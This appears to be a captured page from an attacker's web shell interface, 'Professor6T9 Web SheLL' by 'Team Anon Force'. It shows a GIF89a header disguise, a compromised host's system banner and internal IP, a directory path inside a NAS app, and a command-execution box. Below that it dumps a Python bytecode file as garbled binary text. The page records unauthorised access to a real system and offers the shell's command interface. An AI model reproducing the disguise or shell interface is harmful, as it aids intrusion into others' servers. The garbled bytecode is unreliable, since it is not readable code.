GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
cachetools
/
__pycache__
[ HOME ]
Exec
Submit
keys.cpython-38.pyc
U �}�h� � @ s2 d Z dZG dd� de�ZefZdd� Zdd� ZdS ) z'Key functions for memoizing decorators.)�hashkey�typedkeyc @ sF e Zd ZdZdZejfdd�Zejfdd�Zejfdd�Zd d � Z dS )�_HashedTuplez�A tuple that ensures that hash() will be called no more than once per element, since cache decorators will hash the key multiple times on a cache miss. See also _HashedSeq in the standard library functools implementation. Nc C s | j }|d kr|| � | _ }|S �N)�_HashedTuple__hashvalue)�self�hash� hashvalue� r �6/tmp/pip-target-hu2ovxdm/lib/python/cachetools/keys.py�__hash__ s z_HashedTuple.__hash__c C s t || |��S r �r �r �other�addr r r �__add__ s z_HashedTuple.__add__c C s t ||| ��S r r r r r r �__radd__ s z_HashedTuple.__radd__c C s i S r r )r r r r �__getstate__ s z_HashedTuple.__getstate__) �__name__� __module__�__qualname__�__doc__r �tupler r r r r r r r r s r c O s* |rt | tt|�� �t� �S t | �S dS )z8Return a cache key for the specified hashable arguments.N)r �sum�sorted�items�_kwmark)�args�kwargsr r r r % s r c O sB t | |�}|tdd� | D ��7 }|tdd� t|�� �D ��7 }|S )z>Return a typed cache key for the specified hashable arguments.c s s | ]}t |�V qd S r ��type)�.0�vr r r � <genexpr>2 s ztypedkey.<locals>.<genexpr>c s s | ]\}}t |�V qd S r r )r �_r! r r r r"